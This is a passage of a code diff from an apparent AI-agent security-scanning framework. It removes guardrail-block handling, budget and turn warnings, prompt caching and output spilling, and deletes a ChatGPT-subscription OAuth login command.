||||
logger.warning(
|
||||
"transient model/provider error for %s; replaying turn "
|
||||
"(attempt %d/%d, backoff %.1fs): %r",
|
||||
agent_id,
|
||||
model_retries,
|
||||
_MAX_TRANSIENT_MODEL_RETRIES,
|
||||
delay,
|
||||
exc,
|
||||
)
|
||||
await asyncio.sleep(delay)
|
||||
if session is not None:
|
||||
input_data = []
|
||||
continue
|
||||
if codex.is_content_guardrail_error(exc):
|
||||
return await _handle_content_guardrail(
|
||||
coordinator, agent_id, exc, interactive=interactive
|
||||
)
|
||||
if not interactive:
|
||||
raise
|
||||
if isinstance(exc, MaxTurnsExceeded):
|
||||
@@ -593,30 +437,16 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
else:
|
||||
status = "crashed"
|
||||
logger.exception("agent run failed for %s; parking as %s", agent_id, status)
|
||||
await coordinator.set_status(agent_id, status, error=str(exc) or type(exc).__name__)
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, status)
|
||||
await coordinator.set_status(agent_id, status)
|
||||
await _notify_parent_on_crash(coordinator, agent_id, status)
|
||||
if context.get("parent_id") is None and status in {"failed", "crashed"}:
|
||||
raise
|
||||
return None
|
||||
else:
|
||||
await _settle_run_result(coordinator, agent_id, interactive)
|
||||
return stream
|
||||
|
||||
|
||||
async def _handle_content_guardrail(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
exc: BaseException,
|
||||
*,
|
||||
interactive: bool,
|
||||
) -> RunResultBase | None:
|
||||
logger.warning("agent %s blocked by the model's content guardrail: %s", agent_id, exc)
|
||||
if interactive:
|
||||
await coordinator.set_status(agent_id, "waiting", error=_GUARDRAIL_PARK_ERROR)
|
||||
return None
|
||||
await coordinator.set_status(agent_id, "failed", error=_GUARDRAIL_PARK_ERROR)
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, "failed")
|
||||
return None
|
||||
|
||||
|
||||
async def _settle_run_result(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
@@ -674,31 +504,12 @@ async def _append_noninteractive_tool_required_message(
|
||||
return []
|
||||
|
||||
|
||||
_TERMINAL_NOTICE = {
|
||||
"crashed": (
|
||||
"[Agent crash] {name} ({agent_id}) terminated unexpectedly. "
|
||||
"Stop waiting on this child unless you want to message it again."
|
||||
),
|
||||
"failed": (
|
||||
"[Agent failed] {name} ({agent_id}) stopped with an error and will not "
|
||||
"send a completion report. Stop waiting on this child unless you want to "
|
||||
"message it again."
|
||||
),
|
||||
"stopped": (
|
||||
"[Agent capped] {name} ({agent_id}) hit its turn limit and was stopped "
|
||||
"before finishing. It will not send a completion report, so stop waiting "
|
||||
"on this child; account for its capped subtask and continue."
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
async def _notify_parent_on_terminal(
|
||||
async def _notify_parent_on_crash(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
status: str,
|
||||
) -> None:
|
||||
template = _TERMINAL_NOTICE.get(status)
|
||||
if template is None:
|
||||
if status != "crashed":
|
||||
return
|
||||
async with coordinator._lock:
|
||||
parent = coordinator.parent_of.get(agent_id)
|
||||
@@ -709,36 +520,16 @@ async def _notify_parent_on_terminal(
|
||||
parent,
|
||||
{
|
||||
"from": agent_id,
|
||||
"type": status,
|
||||
"type": "crash",
|
||||
"priority": "high",
|
||||
"content": template.format(name=name, agent_id=agent_id),
|
||||
"content": (
|
||||
f"[Agent crash] {name} ({agent_id}) terminated unexpectedly. "
|
||||
"Stop waiting on this child unless you want to message it again."
|
||||
),
|
||||
},
|
||||
interrupt=False,
|
||||
)
|
||||
|
||||
|
||||
def _reserve_notice() -> dict[str, Any]:
|
||||
return {
|
||||
"from": "system",
|
||||
"type": "budget_reserve_stop",
|
||||
"priority": "high",
|
||||
"content": (
|
||||
"[Budget reserve] The scan has reached the sub-agent budget reserve: every "
|
||||
"sub-agent is being force-stopped as soon as its in-flight turn completes, and "
|
||||
"none will send a completion report. Their confirmed vulnerabilities are "
|
||||
"already filed as they were found. Do not wait on any sub-agents and do not "
|
||||
"spawn new ones — wrap up now and call finish_scan."
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
async def _notify_root_on_budget_reserve(coordinator: AgentCoordinator) -> None:
|
||||
root = await coordinator.claim_reserve_notification()
|
||||
if root is None:
|
||||
return
|
||||
await coordinator.send(root, _reserve_notice())
|
||||
|
||||
|
||||
async def _start_child_runner(
|
||||
*,
|
||||
parent_ctx: dict[str, Any],
|
||||
@@ -790,8 +581,6 @@ async def _start_child_runner(
|
||||
)
|
||||
except BudgetExceededError:
|
||||
logger.info("child %s stopped after reaching the scan budget limit", child_id)
|
||||
except SubagentBudgetReservedError:
|
||||
logger.info("child %s stopped at the sub-agent budget reserve", child_id)
|
||||
|
||||
task_handle = asyncio.create_task(_child_loop(), name=f"agent-{name}-{child_id}")
|
||||
await coordinator.attach_runtime(child_id, task=task_handle)
|
||||
|
||||
+3
-202
@@ -14,210 +14,26 @@ from strix.report.state import get_global_report_state
|
||||
if TYPE_CHECKING:
|
||||
from agents import RunContextWrapper
|
||||
from agents.agent import Agent
|
||||
from agents.items import ModelResponse, TResponseInputItem
|
||||
from agents.items import ModelResponse
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_STAGE_LABELS: tuple[str, ...] = ("NOTICE", "URGENT", "CRITICAL")
|
||||
_TURN_WARN_BANDS: tuple[float, ...] = (0.70, 0.85, 0.95)
|
||||
_ROOT_BUDGET_WARN_BANDS: tuple[float, ...] = (0.70, 0.85, 0.95)
|
||||
_SUBAGENT_BUDGET_WARN_BANDS: tuple[float, ...] = (0.75, 0.80, 0.85)
|
||||
_SUBAGENT_BUDGET_RESERVE = 0.90
|
||||
|
||||
|
||||
class BudgetExceededError(RuntimeError):
|
||||
"""Raised when the accumulated LLM cost reaches the configured budget."""
|
||||
|
||||
|
||||
class SubagentBudgetReservedError(RuntimeError):
|
||||
"""Raised to stop a single sub-agent once the reserve threshold is crossed."""
|
||||
|
||||
|
||||
class BudgetPausedError(RuntimeError):
|
||||
"""Raised to park one agent when an interactive scan reaches its budget."""
|
||||
|
||||
|
||||
def recomputed_budget_flags(
|
||||
cost: float,
|
||||
max_budget_usd: float | None,
|
||||
*,
|
||||
interactive: bool,
|
||||
) -> tuple[bool, bool]:
|
||||
"""Return the (budget_stopped, reserve_stopped) flags a resumed scan should carry."""
|
||||
if max_budget_usd is None:
|
||||
return False, False
|
||||
if interactive:
|
||||
return False, False
|
||||
budget_stopped = cost >= max_budget_usd
|
||||
reserve_stopped = cost >= max_budget_usd * _SUBAGENT_BUDGET_RESERVE
|
||||
return budget_stopped, reserve_stopped
|
||||
|
||||
|
||||
def _crossed_stage(fraction: float, bands: tuple[float, ...]) -> int | None:
|
||||
crossed: int | None = None
|
||||
for index, band in enumerate(bands):
|
||||
if fraction >= band:
|
||||
crossed = index
|
||||
return crossed
|
||||
|
||||
|
||||
_ROOT_DIRECTIVES: tuple[str, ...] = (
|
||||
(
|
||||
"As the root agent, begin planning your wind-down of the whole scan: avoid "
|
||||
"starting large new lines of investigation, and keep your required objectives on "
|
||||
"track so you can call finish_scan comfortably before the limit."
|
||||
),
|
||||
(
|
||||
"As the root agent, prioritize wrapping up the whole scan now: stop opening new "
|
||||
"lines of investigation, close out only what is essential, and move toward calling "
|
||||
"finish_scan to compile and deliver the final report."
|
||||
),
|
||||
(
|
||||
"As the root agent, STOP all other work on the whole scan and finish immediately: "
|
||||
"secure your findings and call finish_scan now — anything left unfinished when the "
|
||||
"limit is hit is discarded."
|
||||
),
|
||||
)
|
||||
_SUBAGENT_DIRECTIVES: tuple[str, ...] = (
|
||||
(
|
||||
"As a sub-agent, begin planning your wind-down: avoid starting large new subtasks, "
|
||||
"and if you are close to a confirmed, validated vulnerability, drive it to a result "
|
||||
"you can report."
|
||||
),
|
||||
(
|
||||
"As a sub-agent, prioritize wrapping up your task now: report any confirmed, "
|
||||
"validated vulnerability, finish work that is nearly done rather than starting "
|
||||
"anything new, and prepare to call agent_finish."
|
||||
),
|
||||
(
|
||||
"As a sub-agent, STOP all other work and finish immediately: report any confirmed "
|
||||
"vulnerability right now and call agent_finish to hand your results back to your "
|
||||
"parent before you are cut off."
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def _wrapup_directive(context: RunContextWrapper[dict[str, Any]], stage: int) -> str:
|
||||
is_root = context.context.get("parent_id") is None
|
||||
directives = _ROOT_DIRECTIVES if is_root else _SUBAGENT_DIRECTIVES
|
||||
return directives[stage]
|
||||
|
||||
|
||||
def _urgency(stage: int) -> str:
|
||||
return _STAGE_LABELS[stage]
|
||||
|
||||
|
||||
class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
"""Persist SDK-native usage and warn/stop as turn and cost budgets are consumed."""
|
||||
"""Persist SDK-native usage after every model response."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
model: str,
|
||||
max_budget_usd: float | None = None,
|
||||
max_turns: int | None = None,
|
||||
interactive: bool = False,
|
||||
) -> None:
|
||||
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
|
||||
if max_budget_usd is not None and (
|
||||
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
|
||||
):
|
||||
raise ValueError("max_budget_usd must be a finite number greater than 0")
|
||||
if max_turns is not None and max_turns <= 0:
|
||||
raise ValueError("max_turns must be a positive integer")
|
||||
self._model = model
|
||||
self._max_budget_usd = max_budget_usd
|
||||
self._budget_increment = max_budget_usd
|
||||
self._max_turns = max_turns
|
||||
self._interactive = interactive
|
||||
|
||||
def extend_budget(self) -> None:
|
||||
if self._max_budget_usd is None or self._budget_increment is None:
|
||||
return
|
||||
self._max_budget_usd += self._budget_increment
|
||||
|
||||
async def on_llm_start(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
agent: Agent[dict[str, Any]], # noqa: ARG002
|
||||
system_prompt: str | None, # noqa: ARG002
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
try:
|
||||
self._maybe_warn_turns(context, input_items)
|
||||
self._maybe_warn_budget(context, input_items)
|
||||
except Exception:
|
||||
logger.exception("budget/turn warning injection failed")
|
||||
|
||||
def _maybe_warn_turns(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
if not self._max_turns:
|
||||
return
|
||||
usage = getattr(context, "usage", None)
|
||||
requests = getattr(usage, "requests", None)
|
||||
if not isinstance(requests, int):
|
||||
return
|
||||
turns_used = requests + 1
|
||||
stage = _crossed_stage(turns_used / self._max_turns, _TURN_WARN_BANDS)
|
||||
if stage is None:
|
||||
return
|
||||
remaining = max(self._max_turns - turns_used, 0)
|
||||
pct = round(100 * turns_used / self._max_turns)
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Turn budget: {turns_used}/{self._max_turns} used ({pct}%). "
|
||||
f"About {remaining} turn(s) remain before this agent is force-stopped and any "
|
||||
f"in-progress work is discarded. {_wrapup_directive(context, stage)}"
|
||||
)
|
||||
input_items.append({"role": "user", "content": content})
|
||||
|
||||
def _maybe_warn_budget(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
if self._max_budget_usd is None:
|
||||
return
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return
|
||||
cost = report_state.get_total_llm_cost()
|
||||
is_root = context.context.get("parent_id") is None
|
||||
if self._interactive:
|
||||
bands = _ROOT_BUDGET_WARN_BANDS
|
||||
else:
|
||||
bands = _ROOT_BUDGET_WARN_BANDS if is_root else _SUBAGENT_BUDGET_WARN_BANDS
|
||||
stage = _crossed_stage(cost / self._max_budget_usd, bands)
|
||||
if stage is None:
|
||||
return
|
||||
pct = round(100 * cost / self._max_budget_usd)
|
||||
reserve_pct = round(_SUBAGENT_BUDGET_RESERVE * 100)
|
||||
if self._interactive:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; when it "
|
||||
"is reached all agents are paused until the user chooses to continue. "
|
||||
f"{_wrapup_directive(context, stage)}"
|
||||
)
|
||||
elif is_root:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; when it "
|
||||
"is reached the whole scan is stopped immediately, and sub-agents are stopped at "
|
||||
f"{reserve_pct}% to reserve the remainder for your final report. "
|
||||
f"{_wrapup_directive(context, stage)}"
|
||||
)
|
||||
else:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; "
|
||||
f"sub-agents are stopped at {reserve_pct}% to leave the remainder for the root "
|
||||
f"agent's final report. {_wrapup_directive(context, stage)}"
|
||||
)
|
||||
input_items.append({"role": "user", "content": content})
|
||||
|
||||
async def on_llm_end(
|
||||
self,
|
||||
@@ -250,21 +66,6 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
if self._max_budget_usd is not None:
|
||||
cost = report_state.get_total_llm_cost()
|
||||
if cost >= self._max_budget_usd:
|
||||
if self._interactive:
|
||||
raise BudgetPausedError(
|
||||
f"Scan budget of ${self._max_budget_usd:.2f} reached "
|
||||
f"(spent ${cost:.4f}); pausing until the user continues"
|
||||
)
|
||||
raise BudgetExceededError(
|
||||
f"Token budget of ${self._max_budget_usd:.2f} exceeded (spent ${cost:.4f})"
|
||||
)
|
||||
is_root = ctx.get("parent_id") is None
|
||||
if not self._interactive and not is_root:
|
||||
reserve_limit = self._max_budget_usd * _SUBAGENT_BUDGET_RESERVE
|
||||
if cost >= reserve_limit:
|
||||
raise SubagentBudgetReservedError(
|
||||
f"Sub-agent budget reserve reached: spent ${cost:.4f} of "
|
||||
f"${self._max_budget_usd:.2f} "
|
||||
f"(>= {round(_SUBAGENT_BUDGET_RESERVE * 100)}% reserve); stopping this "
|
||||
"sub-agent so the root agent can finish the scan."
|
||||
)
|
||||
|
||||
@@ -10,9 +10,6 @@ from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config.models import (
|
||||
DEFAULT_MODEL_RETRY,
|
||||
bedrock_route_supports_prompt_caching,
|
||||
is_bedrock_route,
|
||||
is_claude_model,
|
||||
is_known_openai_bare_model,
|
||||
model_supports_reasoning,
|
||||
request_timeout_extra_args,
|
||||
@@ -131,15 +128,12 @@ def make_model_settings(
|
||||
model_name: str,
|
||||
force_required_tool_choice: bool = False,
|
||||
request_timeout: float | None = None,
|
||||
prompt_cache: bool = True,
|
||||
extra_headers: dict[str, str] | None = None,
|
||||
) -> ModelSettings:
|
||||
model_settings = ModelSettings(
|
||||
parallel_tool_calls=False,
|
||||
retry=DEFAULT_MODEL_RETRY,
|
||||
include_usage=True,
|
||||
extra_args=request_timeout_extra_args(request_timeout),
|
||||
extra_headers=dict(extra_headers) if extra_headers else None,
|
||||
)
|
||||
if (
|
||||
reasoning_effort is not None
|
||||
@@ -151,38 +145,9 @@ def make_model_settings(
|
||||
)
|
||||
if force_required_tool_choice and _accepts_required_tool_choice(model_name):
|
||||
model_settings = model_settings.resolve(ModelSettings(tool_choice="required"))
|
||||
|
||||
cache_extra_args = _prompt_cache_extra_args(model_name) if prompt_cache else None
|
||||
if cache_extra_args:
|
||||
model_settings = model_settings.resolve(
|
||||
ModelSettings(
|
||||
extra_args={**(model_settings.extra_args or {}), **cache_extra_args},
|
||||
),
|
||||
)
|
||||
return model_settings
|
||||
|
||||
|
||||
def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
|
||||
"""LiteLLM ``cache_control_injection_points`` for Claude prompt caching.
|
||||
|
||||
System prompt + rolling last-message breakpoint everywhere; ``tool_config``
|
||||
only on Bedrock Converse (the only route whose LiteLLM transform consumes
|
||||
it — elsewhere it leaks onto the wire and native Anthropic 400s). Unmapped
|
||||
Bedrock models get no points at all: Bedrock rejects the passed-through
|
||||
field outright.
|
||||
"""
|
||||
if not is_claude_model(model_name):
|
||||
return None
|
||||
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
|
||||
return None
|
||||
|
||||
points: list[dict[str, Any]] = [{"location": "message", "role": "system"}]
|
||||
if is_bedrock_route(model_name):
|
||||
points.append({"location": "tool_config"})
|
||||
points.append({"location": "message", "index": -1})
|
||||
return {"cache_control_injection_points": points}
|
||||
|
||||
|
||||
def child_initial_input(
|
||||
*,
|
||||
name: str,
|
||||
|
||||
+5
-54
@@ -3,12 +3,10 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import uuid
|
||||
from collections.abc import Callable
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents import RunConfig
|
||||
@@ -31,7 +29,7 @@ from strix.core.execution import (
|
||||
from strix.core.execution import (
|
||||
spawn_child_agent as start_child_agent,
|
||||
)
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks, recomputed_budget_flags
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
|
||||
from strix.core.inputs import (
|
||||
DEFAULT_MAX_TURNS,
|
||||
build_root_task,
|
||||
@@ -40,13 +38,8 @@ from strix.core.inputs import (
|
||||
)
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.core.sessions import open_agent_session
|
||||
from strix.report.state import get_global_report_state
|
||||
from strix.runtime import session_manager
|
||||
from strix.telemetry.logging import set_scan_id, setup_scan_logging
|
||||
from strix.tools.output_store import (
|
||||
WORKSPACE_SPILL_DIR,
|
||||
configure_spill_writer,
|
||||
)
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -186,18 +179,6 @@ async def run_strix_scan(
|
||||
f"Cannot resume scan {scan_id}: missing SDK session database at {agents_db}",
|
||||
)
|
||||
await coordinator.restore(snap)
|
||||
report_state = get_global_report_state()
|
||||
if report_state is not None:
|
||||
budget_stopped, reserve_stopped = recomputed_budget_flags(
|
||||
report_state.get_total_llm_cost(),
|
||||
max_budget_usd,
|
||||
interactive=interactive,
|
||||
)
|
||||
await coordinator.reset_budget_stops(
|
||||
budget_stopped=budget_stopped,
|
||||
reserve_stopped=reserve_stopped,
|
||||
budget_paused=interactive and coordinator.budget_paused,
|
||||
)
|
||||
for aid, parent in coordinator.parent_of.items():
|
||||
if parent is None:
|
||||
root_id = aid
|
||||
@@ -222,20 +203,6 @@ async def run_strix_scan(
|
||||
)
|
||||
logger.info("Sandbox ready for scan %s", scan_id)
|
||||
|
||||
sandbox_session = bundle["session"]
|
||||
|
||||
async def _spill_to_workspace(output_id: str, text: str) -> str | None:
|
||||
"""Write an oversized tool result into the sandbox; return its path or None."""
|
||||
path = f"{WORKSPACE_SPILL_DIR}/{output_id}.txt"
|
||||
try:
|
||||
await sandbox_session.write(Path(path), io.BytesIO(text.encode("utf-8")))
|
||||
except Exception:
|
||||
logger.exception("failed to spill tool output to sandbox workspace")
|
||||
return None
|
||||
return path
|
||||
|
||||
configure_spill_writer(_spill_to_workspace)
|
||||
|
||||
sessions_to_close: list[SQLiteSession] = []
|
||||
|
||||
try:
|
||||
@@ -249,8 +216,6 @@ async def run_strix_scan(
|
||||
model_name=resolved_model,
|
||||
force_required_tool_choice=settings.llm.force_required_tool_choice,
|
||||
request_timeout=settings.llm.timeout,
|
||||
prompt_cache=settings.llm.prompt_cache,
|
||||
extra_headers=settings.llm.extra_headers,
|
||||
)
|
||||
run_config = RunConfig(
|
||||
model=resolved_model,
|
||||
@@ -259,14 +224,7 @@ async def run_strix_scan(
|
||||
sandbox=SandboxRunConfig(client=bundle["client"], session=bundle["session"]),
|
||||
trace_include_sensitive_data=False,
|
||||
)
|
||||
hooks = ReportUsageHooks(
|
||||
model=resolved_model,
|
||||
max_budget_usd=max_budget_usd,
|
||||
max_turns=max_turns,
|
||||
interactive=interactive,
|
||||
)
|
||||
if interactive:
|
||||
coordinator.set_budget_extender(hooks.extend_budget)
|
||||
hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd)
|
||||
|
||||
scope_context = build_scope_context(scan_config)
|
||||
root_context = _merge_root_prompt_context(scope_context, extra_system_prompt_context)
|
||||
@@ -280,7 +238,7 @@ async def run_strix_scan(
|
||||
)
|
||||
|
||||
root_agent = build_strix_agent(
|
||||
name="Strix",
|
||||
name="strix",
|
||||
skills=skills,
|
||||
is_root=True,
|
||||
scan_mode=scan_mode,
|
||||
@@ -294,7 +252,7 @@ async def run_strix_scan(
|
||||
if not is_resume:
|
||||
await coordinator.register(
|
||||
root_id,
|
||||
"Strix",
|
||||
"strix",
|
||||
parent_id=None,
|
||||
task=root_task,
|
||||
skills=skills,
|
||||
@@ -377,12 +335,6 @@ async def run_strix_scan(
|
||||
|
||||
async with coordinator._lock:
|
||||
root_status = coordinator.statuses.get(root_id)
|
||||
root_error = coordinator.errors.get(root_id)
|
||||
|
||||
root_recoverable_park = root_status == "waiting" and bool(root_error)
|
||||
root_start_parked = bool(
|
||||
interactive and is_resume and root_status != "running" and not root_recoverable_park
|
||||
)
|
||||
|
||||
result = await run_agent_loop(
|
||||
agent=root_agent,
|
||||
@@ -394,7 +346,7 @@ async def run_strix_scan(
|
||||
agent_id=root_id,
|
||||
interactive=interactive,
|
||||
session=root_session,
|
||||
start_parked=root_start_parked,
|
||||
start_parked=bool(interactive and is_resume and root_status != "running"),
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
@@ -447,7 +399,6 @@ async def run_strix_scan(
|
||||
await coordinator.set_status(root_id, "failed")
|
||||
raise
|
||||
finally:
|
||||
configure_spill_writer(None)
|
||||
for s in sessions_to_close:
|
||||
with contextlib.suppress(Exception):
|
||||
s.close()
|
||||
|
||||
@@ -92,39 +92,6 @@ async def _rewrite_session(
|
||||
return True
|
||||
|
||||
|
||||
async def replace_session_items(
|
||||
session: Session,
|
||||
new_items: list[Any],
|
||||
*,
|
||||
expected_len: int | None = None,
|
||||
) -> bool:
|
||||
"""Overwrite the session's items, restoring the originals on failure.
|
||||
|
||||
When ``expected_len`` is given, the rewrite is skipped if the session no
|
||||
longer has that many items (a concurrent writer changed it), so a slow
|
||||
compaction summary can't clobber newer turns.
|
||||
"""
|
||||
async with session_write_lock(session):
|
||||
original = list(await session.get_items())
|
||||
if expected_len is not None and len(original) != expected_len:
|
||||
logger.warning(
|
||||
"skipping session rewrite: expected %d items, found %d",
|
||||
expected_len,
|
||||
len(original),
|
||||
)
|
||||
return False
|
||||
rebuilt = cast("list[TResponseInputItem]", new_items)
|
||||
await session.clear_session()
|
||||
try:
|
||||
await session.add_items(rebuilt)
|
||||
except Exception:
|
||||
logger.exception("session rewrite failed; restoring original items")
|
||||
await session.clear_session()
|
||||
await session.add_items(original)
|
||||
raise
|
||||
return True
|
||||
|
||||
|
||||
async def strip_all_images_from_session(session: Session) -> bool:
|
||||
"""Replace every image tool output with a text placeholder (rejection recovery)."""
|
||||
|
||||
|
||||
@@ -1,419 +0,0 @@
|
||||
"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
|
||||
|
||||
Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
|
||||
selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
|
||||
subscription.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import logging
|
||||
import threading
|
||||
import webbrowser
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from urllib.parse import parse_qs, urlparse
|
||||
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_CALLBACK_TIMEOUT_S = 300
|
||||
|
||||
# CLI-facing name for the login provider. Internally this is the Codex OAuth
|
||||
# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
|
||||
# command and messaging say. ``codex`` is accepted as an alias.
|
||||
LOGIN_PROVIDER = "chatgpt"
|
||||
_ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
|
||||
|
||||
_USAGE = "Usage:\n strix auth login chatgpt [--manual]\n strix auth status\n strix auth logout"
|
||||
|
||||
|
||||
def run_auth(argv: list[str]) -> int:
|
||||
"""Entry point for ``strix auth …``. Returns a process exit code."""
|
||||
console = Console()
|
||||
# Bare `strix auth` (no subcommand) defaults to login.
|
||||
subcommand = argv[0] if argv else "login"
|
||||
rest = argv[1:]
|
||||
|
||||
if subcommand in ("-h", "--help", "help"):
|
||||
console.print(_USAGE)
|
||||
return 0
|
||||
|
||||
handlers: dict[str, Callable[[], int]] = {
|
||||
"login": lambda: _login(console, rest),
|
||||
"status": lambda: _status(console),
|
||||
"logout": lambda: _logout(console),
|
||||
}
|
||||
handler = handlers.get(subcommand)
|
||||
if handler is not None:
|
||||
return handler()
|
||||
|
||||
console.print(f"[red]Unknown auth command:[/] {subcommand}\n")
|
||||
console.print(_USAGE)
|
||||
return 2
|
||||
|
||||
|
||||
def _login(console: Console, argv: list[str]) -> int:
|
||||
parser = argparse.ArgumentParser(prog="strix auth login", add_help=True)
|
||||
parser.add_argument(
|
||||
"provider",
|
||||
nargs="?",
|
||||
default=LOGIN_PROVIDER,
|
||||
help="Model provider to sign in with (default: chatgpt).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--manual",
|
||||
action="store_true",
|
||||
help="Skip the local callback server and paste the redirect URL by hand.",
|
||||
)
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
except SystemExit as exc: # argparse already printed the message
|
||||
return int(exc.code or 2)
|
||||
|
||||
if args.provider.lower() not in _ACCEPTED_PROVIDERS:
|
||||
console.print(
|
||||
f"[red]Unsupported provider:[/] {args.provider}. "
|
||||
f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
|
||||
)
|
||||
return 2
|
||||
|
||||
verifier, challenge = codex.generate_pkce()
|
||||
state = codex.create_state()
|
||||
authorize_url = codex.build_authorize_url(challenge, state)
|
||||
|
||||
console.print()
|
||||
console.print("[bold]Signing in with ChatGPT[/] [dim](provider: chatgpt)[/]")
|
||||
console.print(
|
||||
"[dim]This uses your ChatGPT Plus/Pro plan for inference instead of a metered API key.[/]"
|
||||
)
|
||||
console.print()
|
||||
|
||||
try:
|
||||
record = _run_oauth_flow(console, authorize_url, verifier, state, manual=args.manual)
|
||||
except codex.CodexAuthError as exc:
|
||||
return _fail(console, exc)
|
||||
except KeyboardInterrupt:
|
||||
console.print("\n[yellow]Sign-in cancelled.[/]")
|
||||
return 130
|
||||
|
||||
codex.save_record(record)
|
||||
_print_success(console)
|
||||
return 0
|
||||
|
||||
|
||||
def _run_oauth_flow(
|
||||
console: Console,
|
||||
authorize_url: str,
|
||||
verifier: str,
|
||||
state: str,
|
||||
*,
|
||||
manual: bool,
|
||||
) -> dict[str, Any]:
|
||||
"""Drive the browser (or manual) OAuth flow and return a token record."""
|
||||
server = None if manual else _try_start_callback_server()
|
||||
|
||||
console.print("Open this URL in your browser to authorize:")
|
||||
console.print(f"[cyan]{authorize_url}[/]")
|
||||
console.print()
|
||||
if not manual:
|
||||
try:
|
||||
webbrowser.open(authorize_url)
|
||||
except Exception: # noqa: BLE001 - opening a browser is best-effort
|
||||
logger.debug("could not open browser", exc_info=True)
|
||||
|
||||
if server is not None:
|
||||
console.print("[dim]Waiting for you to finish signing in…[/]")
|
||||
result = server.wait(_CALLBACK_TIMEOUT_S)
|
||||
server.shutdown()
|
||||
if result is not None:
|
||||
code, returned_state, error = result
|
||||
if error:
|
||||
raise codex.CodexAuthError("oauth_error", error)
|
||||
return _finish(code, returned_state, verifier, state, require_state=True)
|
||||
console.print("[yellow]Timed out waiting for the browser. Falling back to manual paste.[/]")
|
||||
|
||||
# Manual fallback: the user completes sign-in and pastes the redirect URL
|
||||
# (the browser lands on a localhost page that won't load if no server is up;
|
||||
# the address bar still holds the code+state).
|
||||
console.print()
|
||||
try:
|
||||
pasted = console.input("Paste the full redirect URL (or code#state): ").strip()
|
||||
except EOFError as exc:
|
||||
raise codex.CodexAuthError("no_input", "no redirect URL provided") from exc
|
||||
code, returned_state = codex.parse_redirect_input(pasted)
|
||||
return _finish(code, returned_state, verifier, state, require_state=False)
|
||||
|
||||
|
||||
def _finish(
|
||||
code: str | None,
|
||||
returned_state: str | None,
|
||||
verifier: str,
|
||||
expected_state: str,
|
||||
*,
|
||||
require_state: bool,
|
||||
) -> dict[str, Any]:
|
||||
if not code:
|
||||
raise codex.CodexAuthError("no_code", "no authorization code found in the redirect")
|
||||
# The loopback callback from OpenAI always carries state, so a missing or
|
||||
# mismatched value there is forged (CSRF) and must be rejected. Manual paste
|
||||
# is user-initiated (the user copies their own redirect), so state is only
|
||||
# validated when the pasted value includes it.
|
||||
if require_state and returned_state is None:
|
||||
raise codex.CodexAuthError("state_mismatch", "missing state in callback; possible CSRF")
|
||||
if returned_state is not None and returned_state != expected_state:
|
||||
raise codex.CodexAuthError("state_mismatch", "state did not match; possible CSRF")
|
||||
return codex.exchange_code(code, verifier)
|
||||
|
||||
|
||||
class _CallbackServer:
|
||||
